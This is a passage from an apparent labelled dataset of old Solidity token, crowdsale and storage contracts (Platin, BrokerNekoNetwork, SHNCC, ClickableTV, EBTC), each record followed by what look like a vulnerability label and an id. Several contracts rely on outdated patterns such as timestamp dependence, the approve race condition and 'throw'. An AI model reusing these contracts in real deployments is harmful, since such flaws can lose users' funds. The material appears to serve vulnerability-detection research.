emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(
address _from,
uint256 _value,
bytes _data
)
external
pure
{
_from;
_value;
_data;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Authorizable is Ownable {
mapping (address => bool) public authorized;
event Authorize(address indexed who);
event UnAuthorize(address indexed who);
modifier onlyAuthorized() {
require(msg.sender == owner || authorized[msg.sender], "Not Authorized.");
_;
}
function authorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(!authorized[_who], "Already authorized");
authorized[_who] = true;
emit Authorize(_who);
}
function unAuthorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(authorized[_who], "Address is not authorized");
authorized[_who] = false;
emit UnAuthorize(_who);
}
}
contract PlatinTGE {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals));
uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals));
uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals));
address public PRE_ICO_POOL;
address public LIQUID_POOL;
address public ICO;
address public MINING_POOL;
address public FOUNDERS_POOL;
address public EMPLOYEES_POOL;
address public AIRDROPS_POOL;
address public RESERVES_POOL;
address public ADVISORS_POOL;
address public ECOSYSTEM_POOL;
uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals));
uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals));
uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals));
uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals));
address public UNSOLD_RESERVE;
uint256 public constant ICO_LOCKUP_PERIOD = 182 days;
uint256 public constant TOKEN_RATE = 1000;
uint256 public constant TOKEN_RATE_LOCKUP = 1200;
uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether;
PlatinToken public token;
uint256 public tgeTime;
constructor(
uint256 _tgeTime,
PlatinToken _token,
address _preIcoPool,
address _liquidPool,
address _ico,
address _miningPool,
address _foundersPool,
address _employeesPool,
address _airdropsPool,
address _reservesPool,
address _advisorsPool,
address _ecosystemPool,
address _unsoldReserve
) public {
require(_tgeTime >= block.timestamp, "TGE time should be >= current time.");
require(_token != address(0), "Token address can't be zero.");
require(_preIcoPool != address(0), "PreICO Pool address can't be zero.");
require(_liquidPool != address(0), "Liquid Pool address can't be zero.");
require(_ico != address(0), "ICO address can't be zero.");
require(_miningPool != address(0), "Mining Pool address can't be zero.");
require(_foundersPool != address(0), "Founders Pool address can't be zero.");
require(_employeesPool != address(0), "Employees Pool address can't be zero.");
require(_airdropsPool != address(0), "Airdrops Pool address can't be zero.");
require(_reservesPool != address(0), "Reserves Pool address can't be zero.");
require(_advisorsPool != address(0), "Advisors Pool address can't be zero.");
require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero.");
require(_unsoldReserve != address(0), "Unsold reserve address can't be zero.");
tgeTime = _tgeTime;
token = _token;
PRE_ICO_POOL = _preIcoPool;
LIQUID_POOL = _liquidPool;
ICO = _ico;
MINING_POOL = _miningPool;
FOUNDERS_POOL = _foundersPool;
EMPLOYEES_POOL = _employeesPool;
AIRDROPS_POOL = _airdropsPool;
RESERVES_POOL = _reservesPool;
ADVISORS_POOL = _advisorsPool;
ECOSYSTEM_POOL = _ecosystemPool;
UNSOLD_RESERVE = _unsoldReserve;
}
function allocate() public {
require(block.timestamp >= tgeTime, "Should be called just after tge time.");
require(token.totalSupply() == 0, "Allocation is already done.");
token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT);
token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT);
token.allocate(ICO, ICO_AMOUNT);
token.allocate(MINING_POOL, MINING_POOL_SUPPLY);
token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT);
token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT);
token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY);
token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY);
token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY);
token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY);
require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error.");
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HoldersToken is StandardToken {
using SafeMath for uint256;
address[] public holders;
mapping (address => uint256) public holderNumber;
function holdersCount() public view returns (uint256) {
return holders.length;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_preserveHolders(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_preserveHolders(_from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function _removeHolder(address _holder) internal {
uint256 _number = holderNumber[_holder];
if (_number == 0 || holders.length == 0 || _number > holders.length)
return;
uint256 _index = _number.sub(1);
uint256 _lastIndex = holders.length.sub(1);
address _lastHolder = holders[_lastIndex];
if (_index != _lastIndex) {
holders[_index] = _lastHolder;
holderNumber[_lastHolder] = _number;
}
holderNumber[_holder] = 0;
holders.length = _lastIndex;
}
function _addHolder(address _holder) internal {
if (holderNumber[_holder] == 0) {
holders.push(_holder);
holderNumber[_holder] = holders.length;
}
}
function _preserveHolders(address _from, address _to, uint256 _value) internal {
_addHolder(_to);
if (balanceOf(_from).sub(_value) == 0)
_removeHolder(_from);
}
}
contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable {
using SafeMath for uint256;
string public constant name = "Platin Token";
string public constant symbol = "PTNX";
uint8 public constant decimals = 18;
struct Lockup {
uint256 release;
uint256 amount;
}
mapping (address => Lockup[]) public lockups;
mapping (address => mapping (address => Lockup[])) public refundable;
mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes;
PlatinTGE public tge;
event Allocate(address indexed to, uint256 amount);
event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx);
event Refund(address indexed from, address indexed to, uint256 amount);
modifier spotTransfer(address _from, uint256 _value) {
require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot.");
_;
}
modifier onlyTGE() {
require(msg.sender == address(tge), "Only TGE method.");
_;
}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
authorize(_tge);
}
function allocate(address _to, uint256 _amount) external onlyTGE {
require(_to != address(0), "Allocate To address can't be zero");
require(_amount > 0, "Allocate amount should be > 0.");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
_addHolder(_to);
require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY.");
emit Allocate(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferWithLockup(
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transfer(_to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function transferFromWithLockup(
address _from,
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transferFrom(_from, _to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
address _sender = msg.sender;
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_from][_sender].length;
if (_refundableLength > 0) {
uint256 _lockupIdx;
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_from][_sender][i].release > block.timestamp) {
_balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount);
refundable[_from][_sender][i].release = 0;
refundable[_from][_sender][i].amount = 0;
_lockupIdx = indexes[_from][_sender][i];
lockups[_from][_lockupIdx].release = 0;
lockups[_from][_lockupIdx].amount = 0;
}
}
if (_balanceRefundable > 0) {
_preserveHolders(_from, _sender, _balanceRefundable);
balances[_from] = balances[_from].sub(_balanceRefundable);
balances[_sender] = balances[_sender].add(_balanceRefundable);
emit Refund(_from, _sender, _balanceRefundable);
emit Transfer(_from, _sender, _balanceRefundable);
}
}
return _balanceRefundable;
}
function lockupsCount(address _who) public view returns (uint256) {
return lockups[_who].length;
}
function hasLockups(address _who) public view returns (bool) {
return lockups[_who].length > 0;
}
function balanceLockedUp(address _who) public view returns (uint256) {
uint256 _balanceLokedUp = 0;
uint256 _lockupsLength = lockups[_who].length;
for (uint256 i = 0; i < _lockupsLength; i++) {
if (lockups[_who][i].release > block.timestamp)
_balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount);
}
return _balanceLokedUp;
}
function balanceRefundable(address _who, address _sender) public view returns (uint256) {
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_who][_sender].length;
if (_refundableLength > 0) {
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_who][_sender][i].release > block.timestamp)
_balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount);
}
}
return _balanceRefundable;
}
function balanceSpot(address _who) public view returns (uint256) {
uint256 _balanceSpot = balanceOf(_who);
_balanceSpot = _balanceSpot.sub(balanceLockedUp(_who));
return _balanceSpot;
}
function _lockup(
address _who,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable)
internal
{
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address.");
if (_lockupReleases.length > 0) {
uint256 _balanceLokedUp = 0;
address _sender = msg.sender;
uint256 _fromIdx = lockups[_who].length;
uint256 _toIdx = _fromIdx + _lockupReleases.length - 1;
uint256 _lockupIdx;
uint256 _refundIdx;
for (uint256 i = 0; i < _lockupReleases.length; i++) {
if (_lockupReleases[i] > block.timestamp) {
lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]);
if (_refundable) {
refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_lockupIdx = lockups[_who].length - 1;
_refundIdx = refundable[_who][_sender].length - 1;
indexes[_who][_sender][_refundIdx] = _lockupIdx;
}
}
}
require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount.");
emit SetLockups(_who, _amount, _fromIdx, _toIdx);
}
}
}
contract PlatinPool is HasNoEther, Authorizable {
using SafeMath for uint256;
PlatinToken public token;
uint256 public initial;
uint256 public allocated;
uint256 public distributed;
struct Distribution {
uint256 amount;
uint256[] lockupReleases;
uint256[] lockupAmounts;
uint256 refunded;
bool refundable;
bool distributed;
}
mapping (address => Distribution) public distribution;
address[] public members;
event AddDistribution(address indexed beneficiary, uint256 amount, bool lockups, bool refundable);
event Distribute(address indexed to, uint256 amount);
constructor(PlatinToken _token, uint256 _initial) public {
require(_token != address(0), "Token address can't be zero.");
token = _token;
initial = _initial;
}
function addDistribution(
address _beneficiary,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
external onlyAuthorized
{
require(_beneficiary != address(0), "Beneficiary address can't be zero.");
require(_amount > 0, "Amount can't be zero.");
require(distribution[_beneficiary].amount == 0, "Beneficiary is already listed.");
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
uint256 _distributable = 0;
uint256 _balance = token.balanceOf(address(this));
if (_balance > 0) {
initial = 0;
}
if (initial > 0) {
_distributable = initial.sub(allocated);
} else {
_distributable = _balance.sub(allocated.sub(distributed));
}
require(_amount <= _distributable, "Amount isn't distributible.");
uint256 _amountLokedUp = 0;
for (uint256 i = 0; i < _lockupAmounts.length; i++) {
_amountLokedUp = _amountLokedUp.add(_lockupAmounts[i]);
}
require(_amountLokedUp <= _amount, "Can't lockup more than amount of distribution.");
distribution[_beneficiary].amount = _amount;
distribution[_beneficiary].lockupReleases = _lockupReleases;
distribution[_beneficiary].lockupAmounts = _lockupAmounts;
distribution[_beneficiary].refundable = _refundable;
distribution[_beneficiary].distributed = false;
allocated = allocated.add(_amount);
members.push(_beneficiary);
emit AddDistribution(
_beneficiary,
_amount,
_lockupReleases.length > 0,
_refundable);
}
function distribute(address _beneficiary) public {
require(distribution[_beneficiary].amount > 0, "Can't find distribution record for the beneficiary.");
require(!distribution[_beneficiary].distributed, "Already distributed.");
uint256 _amount = distribution[_beneficiary].amount;
uint256[] storage _lockupReleases = distribution[_beneficiary].lockupReleases;
uint256[] storage _lockupAmounts = distribution[_beneficiary].lockupAmounts;
bool _refundable = distribution[_beneficiary].refundable;
token.transferWithLockup(
_beneficiary,
_amount,
_lockupReleases,
_lockupAmounts,
_refundable);
initial = 0;
distributed = distributed.add(_amount);
distribution[_beneficiary].distributed = true;
emit Distribute(_beneficiary, _amount);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
uint256 _refunded = token.refundLockedUp(_from);
allocated = allocated.sub(_refunded);
distributed = distributed.sub(_refunded);
distribution[_from].refunded = _refunded;
return _refunded;
}
function membersCount() public view returns (uint256) {
return members.length;
}
function getLockupReleases(address _beneficiary) public view returns (uint256[]) {
return distribution[_beneficiary].lockupReleases;
}
function getLockupAmounts(address _beneficiary) public view returns (uint256[]) {
return distribution[_beneficiary].lockupAmounts;
}
}
contract FoundersPool is PlatinPool {
constructor(PlatinToken _token, uint256 _initial) public PlatinPool(_token, _initial) {}
} | 0 | 899 |
pragma solidity ^0.4.21;
library SafeMath
{
function mul(uint a, uint b) internal returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint)
{
assert(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a < b ? a : b;
}
function assert(bool assertion) internal
{
if (!assertion)
{
throw;
}
}
}
contract ERC20Basic
{
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic
{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size)
{
if(msg.data.length < size + 4)
{
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance)
{
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20
{
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32)
{
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value)
{
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return allowed[_owner][_spender];
}
}
contract BrokerNekoNetwork is StandardToken
{
string public name = "BrokerNekoNetwork";
string public symbol = "BNN";
uint public decimals = 8 ;
uint public INITIAL_SUPPLY = 1680000000000000000;
uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1559347200;
address public constant BNN = 0xF009D60DF560F10E94f2ee397Fcb57d00130704C;
uint public constant BNN_ALLOCATION = 1000000000000000000;
function BrokerNekoNetwork()
{
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
balances[msg.sender] -= BNN_ALLOCATION;
balances[BNN] = BNN_ALLOCATION;
}
function isAllocationLocked(address _spender) constant returns (bool)
{
return inAllocationLockPeriod() && isTeamMember(_spender);
}
function inAllocationLockPeriod() constant returns (bool)
{
return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP);
}
function isTeamMember(address _spender) constant returns (bool)
{
return _spender == BNN ;
}
function approve(address spender, uint tokens)
{
if (isAllocationLocked(spender))
{
throw;
}
else
{
super.approve(spender, tokens);
}
}
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32)
{
if (isAllocationLocked(to))
{
throw;
}
else
{
super.transfer(to, tokens);
}
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32)
{
if (isAllocationLocked(from) || isAllocationLocked(to))
{
throw;
}
else
{
super.transferFrom(from, to, tokens);
}
}
} | 0 | 1,935 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SHNCC {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | 1 | 4,271 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ClickableTVToken {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ClickableTV is Ownable {
using SafeMath for uint256;
ClickableTVToken public token;
uint256 public presaleStart = 1516492800;
uint256 public presaleEnd = 1519862399;
uint256 public saleStart = 1519862400;
uint256 public saleEnd = 1527811199;
address public wallet;
uint256 public rate = 1000;
uint256 public weiRaised;
function ClickableTV() public {
wallet = msg.sender;
}
function setToken(ClickableTVToken _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function tokenWeiToSale() public view returns (uint256) {
return token.balanceOf(this);
}
function transfer(address _to, uint256 _value) public onlyOwner returns (bool){
assert(tokenWeiToSale() >= _value);
token.transfer(_to, _value);
}
function() external payable {
buyTokens(msg.sender);
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
if (block.timestamp < presaleEnd) tokens = tokens.mul(100).div(75);
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool presalePeriod = now >= presaleStart && now <= presaleEnd;
bool salePeriod = now >= saleStart && now <= saleEnd;
bool nonZeroPurchase = msg.value != 0;
return (presalePeriod || salePeriod) && nonZeroPurchase;
}
} | 0 | 1,994 |
pragma solidity ^0.4.23;
contract InvestorsStorage {
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refBonus;
}
struct itmap {
mapping(address => investor) data;
address[] keys;
}
itmap private s;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
s.keys.length++;
}
function insert(address addr, uint value) public onlyOwner returns (bool) {
uint keyIndex = s.data[addr].keyIndex;
if (keyIndex != 0) return false;
s.data[addr].value = value;
keyIndex = s.keys.length++;
s.data[addr].keyIndex = keyIndex;
s.keys[keyIndex] = addr;
return true;
}
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint) {
return (
s.data[addr].keyIndex,
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus
);
}
function investorBaseInfo(address addr) public view returns(uint, uint, uint) {
return (
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus
);
}
function investorShortInfo(address addr) public view returns(uint, uint) {
return (
s.data[addr].value,
s.data[addr].refBonus
);
}
function addRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus += refBonus;
return true;
}
function addValue(address addr, uint value) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].value += value;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].paymentTime = paymentTime;
return true;
}
function setRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus = refBonus;
return true;
}
function keyFromIndex(uint i) public view returns (address) {
return s.keys[i];
}
function contains(address addr) public view returns (bool) {
return s.data[addr].keyIndex > 0;
}
function size() public view returns (uint) {
return s.keys.length;
}
function iterStart() public pure returns (uint) {
return 1;
}
} | 1 | 3,639 |
pragma solidity ^0.4.17;
library SafeMathMod {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) < a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) > a);
}
}
contract EBTC {
using SafeMathMod for uint256;
string constant public name = "eBTC";
string constant public symbol = "EBTC";
uint8 constant public decimals = 8;
uint256 constant public totalSupply = 21000000e8;
uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event TransferFrom(address indexed _spender, address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function EBTC() public {balanceOf[msg.sender] = totalSupply;}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(isNotContract(_to));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
uint256 allowance = allowed[_from][msg.sender];
require(_value <= allowance || _from == msg.sender);
balanceOf[_to] = balanceOf[_to].add(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
if (allowed[_from][msg.sender] != MAX_UINT256 && _from != msg.sender) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
Transfer(_from, _to, _value);
return true;
}
function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
